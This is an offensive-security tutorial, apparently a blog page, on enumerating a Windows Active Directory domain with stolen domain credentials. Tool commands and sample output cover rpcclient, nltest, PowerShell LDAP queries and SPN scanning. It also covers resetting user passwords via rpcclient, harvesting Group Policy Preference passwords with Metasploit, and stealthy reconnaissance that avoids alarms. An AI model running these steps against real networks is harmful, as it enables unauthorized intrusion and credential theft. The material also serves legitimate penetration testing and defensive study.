Exploitation¶
After vulnerability analysis probably, we would have compromised a machine to have domain user credentials or administrative credentials. This blog presents information about
- Active Directory Reconnaissance with Domain User rights. Once, we have access to credentials of a domain user of windows domain, we can utilize the credentials to do windows active directory enumeration such as figuring out the domain controllers, users, machines, trust etc. This post looks into the various methods which are available to do the enumeration such as rpclient, enum4linux, nltest, netdom, powerview, bloodhound, adexplorer, Jexplorer, Remote Server Administration Tools, Microsoft Active Directory Topology Diagrammer, reconnaissance using powershell etc.
- Remote Code Execution Methods : Once we have administrative credentials there are multiple ways to get a execute remote commands on the remote machine such winexe, crackmapexec, impacket psexec, smbexec, wmiexec, Metasploit psexec, Sysinternals psexec, task scheduler, scheduled tasks, service controller (sc), remote registry, WinRM, WMI, DCOM, Mimikatz Pass the hash/ Pass the ticket, remote desktop etc. We have a look over all the methods with possible examples.
- Useful Stuff : Also, we would have a quick look how to add/ remove/ a local/ domain user, add/ remove a local user to administrator group, accessing remote windows machines from windows/ linux.
- Appendix-I : Interesting Stories : Presented the links of interesting blogs which might be helpful in exploitation such as blogs targeting Domain Administrator, etc.
Did we miss something? Please send us a pull request and we will add it.
Active Directory Reconnaissance¶
rpclient¶
eskoudis presents great amount of information at Plundering Windows Account Infor via Authenticated SMB Session. carnal0wnage have written Enumerating user accounts on linux and OSX and BlackHills have written Password Spraying and Other Fun with RPC Client Most of the stuff has been taken from the above three.
The below commands tell how to figure out
Connection¶
rpcclient -U xxxxs.hxxxx.net/mlxxxxh 10.0.65.103
Version of the target Windows machine¶
rpcclient $> srvinfo
10.0.65.103 Wk Sv BDC Tim NT
platform_id : 500
os version : 6.3
server type : 0x801033
Enum commands¶
rpcclient $> enum
enumalsgroups enumdomains enumdrivers enumkey enumprivs
enumdata enumdomgroups enumforms enumports enumtrust
enumdataex enumdomusers enumjobs enumprinter
Current domain¶
enumdomains
name:[xxxx] idx:[0x0]
name:[Builtin] idx:[0x0]
Enum Domain info¶
rpcclient $> querydominfo
Domain : xxxx
Server : HMC_PDC-TEMP
Comment :
Total Users : 9043
Total Groups : 0
Total Aliases : 616
Sequence No : 1
Force Logoff : -1
Domain Server State : 0x1
Server Role : ROLE_DOMAIN_BDC
Unknown 3 : 0x1
Enum Domain users¶
rpcclient $> enumdomusers
user:[administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[_STANDARD] rid:[0x3ee]
user:[Install] rid:[0x3fa]
user:[sko] rid:[0x43a]
user:[cap] rid:[0x589]
user:[zentrale] rid:[0x67f]
user:[dbserver] rid:[0x7d9]
user:[JVOO] rid:[0x7fa]
user:[Standard HMC User Te] rid:[0x8a0]
user:[event] rid:[0x8d5]
user:[remote] rid:[0x9ea]
user:[pda-vis1] rid:[0xb65]
user:[TestUser] rid:[0xc46]
user:[oeinstall] rid:[0x1133]
user:[repro] rid:[0x13c3]
Enum Domain groups¶
rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[xxxx Users] rid:[0x4d8]
group:[IC Members] rid:[0x50d]
group:[Event Management] rid:[0x8d7]
group:[SMSInternalCliGrp] rid:[0x9f5]
group:[IT Support] rid:[0x105b]
Enum Group Information and Group Membership¶
rpcclient $> querygroup 0x200
Group Name: Domain Admins
Description: Designated administrators of the domain
Group Attribute:7
Num Members:16
rpcclient $> querygroupmem 0x200
rid:[0x2227] attr:[0x7]
rid:[0x3601] attr:[0x7]
rid:[0x36aa] attr:[0x7]
rid:[0x36e0] attr:[0x7]
rid:[0x3c23] attr:[0x7]
rid:[0x5528] attr:[0x7]
rid:[0x1f4] attr:[0x7]
rid:[0x363b] attr:[0x7]
rid:[0x573e] attr:[0x7]
rid:[0x56bc] attr:[0x7]
rid:[0x5e5e] attr:[0x7]
rid:[0x7fe1] attr:[0x7]
rid:[0x86d9] attr:[0x7]
rid:[0x9367] attr:[0x7]
rid:[0x829c] attr:[0x7]
rid:[0xa26e] attr:[0x7]
Enumerate specific User/ computer information by RID¶
rpcclient $> queryuser 0x3601
User Name : dummy_s
Full Name : Dummy User
Home Drive :
Dir Drive :
Profile Path:
Logon Script:
Description : E 5.5.2008 Admin
Workstations:
Comment :
Logon Time : Tue, 24 Jan 2017 19:28:14 IST
Logoff Time : Thu, 01 Jan 1970 05:30:00 IST
Kickoff Time : Thu, 14 Sep 30828 08:18:05 IST
Password last set Time : Fri, 21 Nov 2008 02:34:34 IST
Password can change Time : Fri, 21 Nov 2008 02:34:34 IST
Password must change Time: Thu, 14 Sep 30828 08:18:05 IST
Domain Password Policy¶
rpcclient $> getdompwinfo
min_password_length: 8
password_properties: 0x00000000
User password policies¶
rpcclient $> getusrdompwinfo 0x3601
min_password_length: 8
&info.password_properties: 0x433e6584 (1128162692)
0: DOMAIN_PASSWORD_COMPLEX
0: DOMAIN_PASSWORD_NO_ANON_CHANGE
1: DOMAIN_PASSWORD_NO_CLEAR_CHANGE
0: DOMAIN_PASSWORD_LOCKOUT_ADMINS
0: DOMAIN_PASSWORD_STORE_CLEARTEXT
0: DOMAIN_REFUSE_PASSWORD_CHANGE
Local Users¶
lsaenumsid
S-1-5-21-1971769256-327852233-3012798916-1014 Example\ftp_user (1)
S-1-5-21-1971769256-327852233-3012798916-1000 Example\example_user (1)
lookupsid S-1-5-21-1971769256-327852233-3012798916-1014
S-1-5-21-1971769256-327852233-3012798916-1014 Example\ftp_user (1)
Reset AD user password¶
As Mubix explained in Reset AD User Password with Linux. Often we have the credentials of limited administrative accounts such as IT or helpdesk. Sometimes, These accounts have an ability reset the password. This can be achieved in by using rpcclient in linux box provided smbclient and pass-the-hash package should be installed.
setuserinfo2 command can be used in order to change the password.
rpcclient $> setuserinfo2
Usage: setuserinfo2 username level password [password_expired]
result was NT_STATUS_INVALID_PARAMETER
Note
we won’t be able to change the password of users with AdminCount = 1 (Domain Admins and other higher privileged accounts).
rpcclient $> setuserinfo2 ima-domainadmin 23 'ASDqwe123'
result: NT_STATUS_ACCESS_DENIED
result was NT_STATUS_ACCESS_DENIED
rpcclient $>
Users having alternate admin accounts can be easily targeted.
rpcclient $> setuserinfo2 adminuser 23 'ASDqwe123'
rpcclient $>
Note
The number 23 came from MSDN article USER_INFORMATION_CLASS. The SAMPR_USER_INTERNAL4_INFORMATION structure holds all attributes of a user, along with an encrypted password.
This can be done using the net command as well but we need to install the samba-common-bin in our machine.
root@kali:~# net rpc password adminuser -U helpdesk -S 192.168.80.10
Enter new password for adminuser:
Enter helpdesk's password:
root@kali:~#
Enum4linux¶
Simple wrapper around the tools in the samba package to provide similar functionality to enum.exe (formerly from www.bindview.com).
Usage¶
Usage: ./enum4linux.pl [options] ip
Options are (like "enum"):
-U get userlist
-M get machine list*
-S get sharelist
-P get password policy information
-G get group and member list
-d be detailed, applies to -U and -S
-u user specify username to use (default "")
-p pass specify password to use (default "")
Additional options:
-a Do all simple enumeration (-U -S -G -P -r -o -n -i).
This option is enabled if you don't provide any other options.
-h Display this help message and exit
-r enumerate users via RID cycling
-R range RID ranges to enumerate (default: 500-550,1000-1050, implies -r)
-K n Keep searching RIDs until n consecutive RIDs don't correspond to a username. Implies RID range ends at 999999. Useful against DCs.
-l Get some (limited) info via LDAP 389/TCP (for DCs only)
-s file brute force guessing for share names
-k user User(s) that exists on remote system (default: administrator,guest,krbtgt,domain admins,root,bin,none)
Used to get sid with "lookupsid known_username"
Use commas to try several users: "-k admin,user1,user2"
-o Get OS information
-i Get printer information
-w wrkg Specify workgroup manually (usually found automatically)
-n Do an nmblookup (similar to nbtstat)
-v Verbose. Shows full commands being run (net, rpcclient, etc.)
Example¶
enum4linux -P -d xxxx.abcxxx.net -u mluxxxx -p threxxxx 10.0.65.103
Active Directory Explorer (ADExplorer)¶
As per the TechNet article Active Directory Explorer (AD Explorer) is an advanced Active Directory (AD) viewer and editor. We can use AD Explorer to easily navigate an AD database, define favorite locations, view object properties and attributes without having to open dialog boxes, edit permissions, view an object’s schema, and execute sophisticated searches that you can save and re-execute.
Sally Vandeven has written a brilliant article on Domain Goodness – How I Learned to LOVE AD Explorer Must read!
JXplorer¶
JXplorer is a cross platform LDAP browser and editor. It is a standards compliant general purpose LDAP client that can be used to search, read and edit any standard LDAP directory, or any directory service with an LDAP or DSML interface.
Remote Server Administration Tools¶
Active Directory Domain Services (AD DS) Tools and Active Directory Lightweight Directory Services (AD LDS) Tools includes Active Directory Administrative Center; Active Directory Domains and Trusts; Active Directory Sites and Services; Active Directory Users and Computers; ADSI Edit; DCPromo.exe; LDP.exe; NetDom.exe; NTDSUtil.exe; RepAdmin.exe; Active Directory module for Windows PowerShell; DCDiag.exe; DSACLs.exe; DSAdd.exe; DSDBUtil.exe; DSMgmt.exe; DSMod.exe; DSMove.exe; DSQuery.exe; DSRm.exe; GPFixup.exe; KSetup.exe; KtPass.exe; NlTest.exe; NSLookup.exe; W32tm.exe.
Active Directory Administrative Center; Active Directory Domains and Trusts; Active Directory Sites and Services; Active Directory Users and Computers; ADSI Edit; are GUI tools. These can be installed by installing Remote Server Administration Tools
nltest¶
Nltest is a command-line tool to perform network administrative tasks. We could figure out the Domain Controllers/ Domain Trusts using it. It is built into Windows Server 2008 and Windows Server 2008 R2. It is available if you have the AD DS or the AD LDS server role installed. It is also available if you install the Active Directory Domain Services Tools that are part of the Remote Server Administration Tools (RSAT).
Usage¶
nltest /?
Usage: nltest [/OPTIONS]
/SERVER:<ServerName> - Specify <ServerName>
/QUERY - Query <ServerName> netlogon service
/DCLIST:<DomainName> - Get list of DC's for <DomainName>
/DCNAME:<DomainName> - Get the PDC name for <DomainName>
/DSGETDC:<DomainName> - Call DsGetDcName /PDC /DS /DSP /GC /KDC /TIMESERV /GTIMESERV /WS /NETBIOS /DNS /IP /FORCE /WRITABLE /AVOIDSELF /LDAPONLY /BACKG /DS_6
/TRY_NEXT_CLOSEST_SITE /SITE:<SiteName> /ACCOUNT:<AccountName> /RET_DNS /RET_NETBIOS
/DNSGETDC:<DomainName> - Call DsGetDcOpen/Next/Close /PDC /GC /KDC /WRITABLE /LDAPONLY /FORCE /SITESPEC
/DSGETFTI:<DomainName> - Call DsGetForestTrustInformation /UPDATE_TDO
/DSGETSITE - Call DsGetSiteName
/DSGETSITECOV - Call DsGetDcSiteCoverage
/DSADDRESSTOSITE:[MachineName] - Call DsAddressToSiteNamesEx /ADDRESSES:<Address1,Address2,...>
/PARENTDOMAIN - Get the name of the parent domain of this machine
/WHOWILL:<Domain>* <User> [<Iteration>] - See if <Domain> will log on <User>
/FINDUSER:<User> - See which trusted domain will log on <User>
/USER:<UserName> - Query User info on <ServerName>
/TIME:<Hex LSL> <Hex MSL> - Convert NT GMT time to ascii
/LOGON_QUERY - Query number of cumulative logon attempts
/DOMAIN_TRUSTS - Query domain trusts on <ServerName>
/PRIMARY /FOREST /DIRECT_OUT /DIRECT_IN /ALL_TRUSTS /V
Examples
Verify domain controllers in a domain¶
nltest /dclist:xxx.example.net
Get list of DCs in domain 'xxx.example.net' from '\\ABCDEFG.xxx.example.net'.
ABCDEFG1.xxx.example.net [DS] Site: XX-SriLanka
ABCDEFG2.xxx.example.net [DS] Site: XX-India
ABCDEFG5.xxx.example.net [PDC] [DS] Site: XX-Bangladesh
The command completed successfully
Advanced information about users¶
nltest /user:"TestAdmin"
User: User1
Rid: 0x3eb
Version: 0x10002
LastLogon: 2ee61c9a 01c0e947 = 5/30/2001 13:29:10
PasswordLastSet: 9dad5428 01c0e577 = 5/25/2001 17:05:47
AccountExpires: ffffffff 7fffffff = 9/13/30828 19:48:05
PrimaryGroupId: 0x201
UserAccountControl: 0x210
CountryCode: 0x0
CodePage: 0x0
BadPasswordCount: 0x0
LogonCount: 0x33
AdminCount: 0x1
SecurityDescriptor: 80140001 0000009c 000000ac 00000014 00000044 00300002 000000
02 0014c002 01050045 00000101 01000000 00000000 0014c002 000f07ff 00000101 05000
000 00000007 00580012 00000003 00240000 00020044 00000501 05000000 00000015 22cd
b7b4 7112b3f1 2b3be507 000003eb 00180000 000f07ff 00000201 05000000 00000020 000
00220 00140000 0002035b 00000101 01000000 00000000 00000201 05000000 00000020 00
000220 00000201 05000000 00000020 00000220
AccountName: User1
Groups: 00000201 00000007
LmOwfPassword: fb890c9c 5c7e7e09 ee58593b d959c681
NtOwfPassword: d82759cc 81a342ac df600c37 4e58a478
NtPasswordHistory: 00011001
LmPasswordHistory: 00010011
The command completed successfully
Determine the PDC emulator for a domain¶
nltest /dcname:fourthcoffee
PDC for Domain fourthcoffee is \\fourthcoffee-dc-01
The command completed successfully
Show trust relationships for a domain¶
Returns a list of trusted domains. /Primary /Forest /Direct_Out /Direct_In /All_Trusts /v.
The following list shows the values that you can use to filter the list of domains.
- /Primary: Returns only the domain to which the computer account belongs.
- /Forest: Returns only those domains that are in the same forest as the primary domain.
- /Direct_Out: Returns only the domains that are explicitly trusted with the primary domain.
- /Direct_In: Returns only the domains that explicitly trust the primary domain.
- /All_Trusts: Returns all trusted domains.
- /v: Displays verbose output, including any domain SIDs and GUIDs that are available.
nltest /domain_trusts
List of domain trusts:
0: ABC abc.example.net (NT 5) (Forest: 17) (Direct Outbound) (Direct Inbound)
1: DEF def.example.net (NT 5) (Forest: 17) (Direct Outbound) (Direct Inbound)
2: IJK IJK.NET (NT 5) (Direct Inbound) ( Attr: 0x8 )
3: LMN LMH.net (NT 5) (Direct Outbound) ( Attr: 0x18 )
4: APP app.example.net (NT 5) (Forest: 17) (Direct Outbound) (Direct Inbound) ( Attr: 0x20 )
Thanks to Tanoy Bose for informing me about this. Cheers Bose.
netdom¶
netdom: netdom is a command-line tool that is built into Windows Server 2008 and Windows Server 2008 R2. It is available if you have the Active Directory Domain Services (AD DS) server role installed. It is also available if you install the Active Directory Domain Services Tools that are part of the Remote Server Administration Tools (RSAT). More information available at Netdom query.
Usage¶
netdom query {/d: | /domain:}<Domain> [{/s: | /server:}<Server>] [{/ud: | /userd:}[<Domain>\]<User> {/pd: | /passwordd}{<Password>|*}] [/verify] [/reset] [/direct] {WORKSTATION|SERVER|DC|OU|PDC|FSMO|TRUST} [{/help | /?}]
Specifies the type of list to generate. The following list shows the possible objects:
WORKSTATION: Queries the domain for the list of workstations.
SERVER: Queries the domain for the list of servers.
DC : Queries the domain for the list of domain controllers.
OU : Queries the domain for the list of OUs under which the user that you specify can create a computer object.
PDC : Queries the domain for the current primary domain controller.
FSMO : Queries the domain for the current list of operations master role holders. These role holders are also known as flexible single master operations (FSMO).
TRUST: Queries the domain for the list of its trusts.
Examples
DC¶
Queries the domain for the list of workstations:
PS C:\> netdom query /domain example.net DC
List of domain controllers with accounts in the domain:
xxxxDC12
xxxxDC11
xxxxDC04
xxxxDC03
The command completed successfully.
PDC¶
Queries the domain for the current primary domain controller
PS C:\> netdom query /domain example.net PDC
Primary domain controller for the domain:
xxxxDC03.example.net
The command completed successfully.
FSMO¶
Queries the domain for the current list of operations master role holders.
PS C:\> netdom query /domain example.net FSMO
Schema master xxxxDC03.example.net
Domain naming master xxxxDC03.example.net
PDC xxxxDC03.example.net
RID pool manager xxxxDC03.example.net
Infrastructure master xxxxDC03.example.net
The command completed successfully.
TRUST¶
Queries the domain for the list of its trusts
PS C:\> netdom query /domain example.net TRUST
Direction Trusted\Trusting domain Trust type
========= ======================= ==========
<-> xxxx.xxxxxx.net Direct
<-> xxxx.example.net Direct
<-> XX.XXXxXX.NET Direct
OU¶
Queries the domain for the list of OUs under which the user that you specify can create a computer object.
PS C:\> netdom query /domain abc.example.net OU
List of Organizational Units within which the specified user can create a
machine account:
OU=Domain Controllers,DC=abc,DC=example,DC=net
OU=ABC-Admin,DC=abc,DC=example,DC=net
OU=ServiceAccounts,OU=ABC-Admin,DC=abc,DC=example,DC=net
OU=Users,OU=ABC-Admin,DC=abc,DC=example,DC=net
OU=Groups,OU=ABC-Admin,DC=abc,DC=example,DC=net
OU=Service Accounts,DC=abc,DC=example,DC=net
OU=Servers,OU=ABC-Admin,DC=abc,DC=example,DC=net
DC=abc,DC=example,DC=net
The command completed successfully.
SERVER/ WORKSTATION¶
Queries the domain for the list of servers/ workstations
PS C:\> netdom query /domain abc.example.net WORKSTATION
List of workstations with accounts in the domain:
ABCDC02 ( Workstation or Server )
ABCDC01 ( Workstation or Server )
ABCDC03 ( Workstation or Server )
ABCDC04 ( Workstation or Server )
BSKMACDB62 ( Workstation or Server )
The command completed successfully.
PS C:\>
Microsoft Active Directory Topology Diagrammer¶
The Microsoft Active Directory Topology Diagrammer reads an Active Directory configuration using LDAP, and then automatically generates a Visio diagram of your Active Directory and /or your Exchange Server topology. The diagrams may include domains, sites, servers, organizational units, DFS-R, administrative groups, routing groups and connectors and can be changed manually in Visio if needed.
AD Reconnaissance with PowerShell¶
Sean Metcalf has written an awesome blog regarding the Active Directory Recon without Admin Rights Most of the below stuff has been directly taken from his blog.
The enumeration of the active directory can also be carried forward using the normal domain user account. After gathering the domain user credentials launch the powershell by the following command on the command prompt.
C:\> Powershell -nop -exec bypass -noexit
Forest Information¶
The current forest information can be gathered by using the following powershell code
PS C:\> [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
Name : ABC.com
Sites : {Default-First-Site-Name}
Domains : {ABC.com}
GlobalCatalogs : {WIN-OK0HIC2UCIH.ABC.com}
ApplicationPartitions : {DC=DomainDnsZones,DC=ABC,DC=com, DC=ForestDnsZones,DC=
ABC,DC=com}
ForestMode : Windows2008R2Forest
RootDomain : ABC.com
Schema : CN=Schema,CN=Configuration,DC=ABC,DC=com
SchemaRoleOwner : WIN-OK0HIC2UCIH.ABC.com
NamingRoleOwner : WIN-OK0HIC2UCIH.ABC.com
Domain Information¶
The current domain information to which the domain user is a part can be easily gathered by issuing the following powershell code
PS C:\> [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Forest : ABC.com
DomainControllers : {WIN-OK0HIC2UCIH.ABC.com}
Children : {}
DomainMode : Windows2008R2Domain
Parent :
PdcRoleOwner : WIN-OK0HIC2UCIH.ABC.com
RidRoleOwner : WIN-OK0HIC2UCIH.ABC.com
InfrastructureRoleOwner : WIN-OK0HIC2UCIH.ABC.com
Name : ABC.com
Forest Trusts¶
The trust between the present forests can be obtained by the following powershell code
$ForestRootDomain = ‘lab.adsecurity.org’
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext(‘Forest’, $ForestRootDomain)))).GetAllTrustRelationships()
Domain Trusts¶
The trusts relationship between the current domain and associated domain can be enumerated by the following
PS C:\> ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
By gathering this information, An attacker can determine the attack surface area by residing in current domain.
Forest Global Catalogs¶
PS C:\> [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().GlobalCatalogs
Note
Typically every DC is also a Global catalog
Enterprise Services without scanning of Network¶
The services offered by the particular can also be identified using a simple powershell code. This type of information gathering is a stealthy approach as the service scanning of network may sometimes trigger the alarm. This type of approach is carried out by scanning the SPN (Service Principal Names). The information related to RDP enabled workstations, WinRM Enabled, Exchange servers, SQL servers etc. can be enumerated.
PS C:\> get-adcomputer -filter {ServicePrincipalName -like “*TERMSRV*”} -Properties OperatingSystem,OperatingSystemVersion,OperatingSystemServicePack,
PasswordLastSet,LastLogonDate,ServicePrincipalName,TrustedForDelegation,TrustedtoAuthForDelegation
Note
Both the computers and users (Service accounts) are to be targeted in order to determine the Enterprise services.
SPN-Scanning¶
Microsoft states that “A service principal name (SPN) is the name by which a client uniquely identifies an instance of a service.” using the SPN scanning we identify the common servers such as IIS, SQL Server, and LDAP. Mostly, the convention of the SPN is formatted as SERVICE/HOST but sometimes the port no. associated is also given such as SERVICE/HOST:PORT.
DNS/win2008k001.ABC.com MSSQLSvc/win2008k002.ABC.com:1600
The above example shows that if the Domain Account is used to run the DNS and SQL services on ABC.com the SPN entries would be the same. Here we can use ADFind.exe to list all the SQL server instances registered on a domain by using the code
C: >Adfind.exe -f "ServicePrincipalName=MSSQLSvc*"
we can also use setspn.exe (comes with the windows server 2008) can be used to lookup the SPNs for a particular user.
C: >setspn.exe -l "UserName"
SPN Scanning using Powershell¶
Scott Sutherland has written about SPN scanning techniques at Faster Domain Esclation using LDAP .The Get-SPN Powershell module provides us to quickly search LDAP for accounts related to specific groups, users or SPN service name. Once Downloaded the script run the following command in a command prompt in order to install it for the current session.
C:\> Powershell -nop -exec bypass -noexit (change the directory pointing towards the downloaded location)
PS C:\> Import-Module .\Get-SPN.psm1
Find All Servers where Domain Admins are Registered to Run Services. If we are using the Domain User or local system from a particular Domain computer use the following command
Get-SPN -type group -search "Domain Admins" -List yes | Format-Table -Autosize
for a non domain system with domain credentials we can use the command below
Get-SPN -type group -search "Domain Admins" -List yes -DomainController 192.168.1.100 -Credential domainuser | Format-Table -Autosize
Find all registered SQL Servers, Dcom, dnscache etc.¶
for identifying the services using the Domain User or localsystem from a particular Domain computer use the following command
Get-SPN -type service -search "MSSQLSvc*" -List yes | Format-Table -Autosize
for other than Servers, below is a list of standard SPN service names.
alerter,appmgmt,browser,cifs,cisvc,clipsrv,dcom,dhcp,dmserver,dns,dnscache,eventlog,eventsystem,fax,
http,ias,iisadmin,messenger,msiserver,mcsvc,netdde,netddedsm,netlogon,netman,nmagent,oakley,plugplay,policyagent,
protectedstorage,rasman,remoteaccess,replicator,rpc,rpclocator,rpcss,rsvp,samss,scardsvr,scesrv,schedule,scm,seclogon,
snmp,spooler,tapisrv,time,trksvr,trkwks,ups,w3svc,wins,www
To find All the ServicePrincipalName Entries for Domain Users Matching String by executing the command as domain user or LocalSystem from a domain computer then you can use the command below.
Get-SPN -type user -search "*svc*" -List yes
Discovering the Service Accounts¶
By Doing an SPN Scan for user accounts with Service Principal Names the service Accounts and the server accounts used can be identified.
PS C:\> get-aduser -filter {ServicePrincipalName -like “*”} -Properties PasswordLastSet,LastLogonDate,ServicePrincipalName,TrustedForDelegation,TrustedtoAuthForDelegation
Discovering the Computers and Domain Controllers without scanning the network¶
The information regarding the computer operating system, DNSHostName, LastLogon Date etc. can also be gathered. Since every computer joining the active directory has an associated computer account in AD. When the computer is joined, several attributes such as date created, Modified, OperatingSystemVersion etc. are associated with this computer object that are updated. Such information can also be further used for lateral movements.
PS C:\> get-adcomputer -filter {PrimaryGroupID -eq “515”} -Properties OperatingSystem,OperatingSystemVersion,OperatingSystemServicePack,
Passwot,LastLogonDate,ServicePrincipalName,TrustedForDelegation,TrustedtoAuthForDelegation
The same information regarding the Domain Controllers can also be gathered by simply changing the PrimaryGroupID value to ‘516’. to obtain the details of all the computers in active directory by simply putting a wildcard mask in the filter parameter such as “-filter * “.
Identifying the Admin Accounts¶
The privileged accounts can be identified using two methods. The first one is by doing a detailed group enumeration, by doing this all members of the standard Active Directory admin groups: Domain Admins, Administrators, Enterprise Admins, etc. one such command is “Net Group “Domain Admins” /Domain” which will give us the list of Domain Administrators.
Another method is by identifying all accounts which have the attribute “AdminCount” set to 1. However, this may not be sometimes accurate since there may be accounts returned in this query which no longer have admin rights because these values aren’t automatically reset even if the accounts are disabled or no longer a part of Admins group.
PS C:\> get-aduser -filter {AdminCount -eq 1} -Properties Name,AdminCount,ServicePrincipalName,PasswordLastSet,LastLogonDate,MemberOf
This query will give us the “AdminCount :1” which indicates that the account is privileged account.
Finding the Admin Groups¶
Most of the organizations follow a naming convention for the admin groups such as Domain Admins, Server Admins, Workstation Admins, Administrators etc. By Querying the Active Directory for groups with Admin as term we can identify the administrator groups.
PS C:\> get-adgroup -filter {GroupCategory -eq ‘Security’ -AND Name -like “*admin*”}
Domain Password Policy¶
The Domain password policy can be easily gathered either by using Net Accounts or Get-ADDefaultPasswordPolicy.
Get-ADDefaultDomainPasswordPolicy
Net Accounts
Note
To use Get-ADDefaultPasswordPolicy PowerView.PS1 module is to be imported first.
Identifying the Groups with Local Admin Rights to windows machines¶
Using the Powerview.PS1 module we can easily identify the identify GPOs that include Restricted Groups.
PS C:\> Get-NetGPOGroup
we can also check to what OUs the GPOs link using a PowerView cmdlet.
get-netOU -guid “GPOName Obtained Above”
next to identify the workstations/servers in the OU
get-adcomputer -filter * -SearchBase “Result of the above”
PowerShell [adsiSearcher] Type Accelerator¶
If we have credentials of the user and a powershell prompt, we can utilize adsiSearcher to do the AD Enumeration
Define username, password, Domain, etc.¶
$username = 'BITVIJAYS\LDAP'
$password = 'PasswordForSearch!'
$DomainControllerIpAddress = '10.2.2.2'
$LdapDn = 'DC=bitvjays,DC=local'
Initialize the connection¶
When credentials are present and we are connecting using a non-domain machine, use below
$dn = New-Object System.DirectoryServices.DirectoryEntry ("LDAP://$($DomainControllerIpAddress):389/$LdapDn",$username,$password)
$ds = New-object System.DirectoryServices.DirectorySearcher($dn)
When you are already connected to the domain machine
[adsisearcher]”” specifies a filter that has no characters in it. The good thing is that the searchroot is automatically set to the root of the current domain.
$ds = [adsisearcher]""
Finding the Domain Name¶
$ds.SearchRoot
distinguishedName : {DC=bitvijays,DC=local}
Path : LDAP://DC=bitvijays,DC=local
Finding the Computers¶
PS > $ds.Filter ="((objectCategory=computer))"
PS > $ds.FindAll() --- Provides all the objects in the AD for computers
PS > $ds.FindOne() --- Provides one object in the AD for computers
Result
Path Properties
---- ----------
LDAP://10.2.2.2:389/CN=DC,OU=Domain Controllers,DC=bitvijays,DC=local {ridsetreferences, logoncount, codepage, objec...
LDAP://10.2.2.2:389/CN=FILE,CN=Computers,DC=bitvijays,DC=local {logoncount, codepage, objectcategory, iscriti...
Finding the Users:¶
PS > $ds.Filter ="((objectCategory=user))"
PS > $ds.FindAll() --- Provides all the objects in the AD for users
Properties of the object¶
We can use
$ds.FindOne().properties
$ds.FindAll().properties
to find the properties of the object. Once the properties are found, we can search for any particular object based on regex.
Examples:
- Finding a particular user named Bob
Check the properties of the user
Properties of a user PS > $ds.findOne().properties Name Value ---- ----- objectcategory {CN=Person,CN=Schema,CN=Configuration,DC=bitvijays,DC=local} name {Administrator} cn {Administrator} admincount {1} samaccountname {Administrator}Then particularly search for a user
PS > $ds.Filter ="((name=*Bob*))" PS > $ds.Findall() Path Properties ---- ---------- LDAP://10.2.2.2:389/CN=Bobby John,OU=People,DC=bitvijays,DC=local {logoncount, codepage, objectcategory, descripti...
- Finding all users of a particular group
$ds.filter = "(&(objectCategory=user)(memberOf=CN=Domain Admins,CN=Users,DC=bitvijays,dc=local))"
Get sessions of remote machines¶
Powerview Get-NetSession¶
net session¶
- Net session of current computer
net session Computer User name Client Type Opens Idle time ------------------------------------------------------------------------------- \\127.0.0.1 Administrat0r 1 05D 22H 02M The command completed successfully.
- Net session of remote computer
net session \\computername
WMI¶
We can use wmi to get the remote logged on users. However, I believe to run wmi on remote machine, you need to be administrator of that machine.
wmic:root\cli> /node:"computername" path win32_loggeduser get antecedent
\\.\root\cimv2:Win32_Account.Domain="ABCROOT",Name="axx.xxxxx"
\\.\root\cimv2:Win32_Account.Domain="ABCROOT",Name="srv.xxxxx"
\\.\root\cimv2:Win32_Account.Domain="ABCROOT",Name="axx.xxxxx"
\\.\root\cimv2:Win32_Account.Domain="MA",Name="axxd.xxxxx"
\\.\root\cimv2:Win32_Account.Domain="DC",Name="ANONYMOUS LOGON"
View machines in Domain/ Workgroup¶
Powerview Get-NetComputers¶
net view /domain¶
? – check the functionality
View machines affected by GPP vulnerability¶
When we run Get-GPPPassword, we get output like
Password: password@123
Changed : 2013-07-02 01:01:23
Username: Administrator
NewName :
File : \\Demo.lab\sysvol\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\{DataSouces| Groups| ScheduledTasks.xml
To get the computers using the passwords set by the GPP, we can use
Get-NetOU -GUID "{31B2F340-016D-11D2-945F-00C04FB984F9}" | %{ Get-NetComputer -ADSPath $_ }
Get-NetSite function, which returns the current sites for a domain, also accepts the -GUID filtering flag. This information has been taken from harmj0y blog gpp and powerview
More information about GPP should be read from Sean Metcalf blog Using Group Policy Preferences for Password Management = Bad Idea and Finding Passwords in SYSVOL & Exploiting Group Policy Preferences
There are various methods to figure out the GPP Password if it’s set.
- Get-GPPPassword.ps1 : PowerShell script that can identify and extract the password(s) stored in Group Policy Preferences using the MSDN AES key.
- Metasploit auxiliary module - SMB Group Policy Preference Saved Passwords Enumeration : This module enumerates files from target domain controllers and connects to them via SMB. It then looks for Group Policy Preference XML files containing local/domain user accounts and passwords and decrypts them using Microsoft’s public AES key. This module has been tested successfully on a Win2k8 R2 Domain Controller. ( Requires domain user credentials)
use auxiliary/scanner/smb/smb_enum_gpp set smbdomain example.com set smbuser user set smbpass pass set rhosts 192.168.56.2Thanks to Tanoy Bose for informing about this!. Previously, we used to manually search the SYSVOL location! ( When for some reason Get-GPPPassword doesn’t work! )
- Meterpreter session, we can use metasploit post module - Windows Gather Group Policy Preference Saved Passwords : This module enumerates the victim machine’s domain controller and connects to it via SMB. It then looks for Group Policy Preference XML files containing local user accounts and passwords and decrypts them using Microsoft’s public AES key. Cached Group Policy files may be found on end-user devices if the group policy object is deleted rather than unlinked.
use post/windows/gather/credentials/gpp set session <Session_Number>
- Reading Group Policies manually stored here: \<DOMAIN>\SYSVOL\<DOMAIN>\Policies\
View group in Domain / Workgroup¶
Powerview Get-NetGroupMember¶
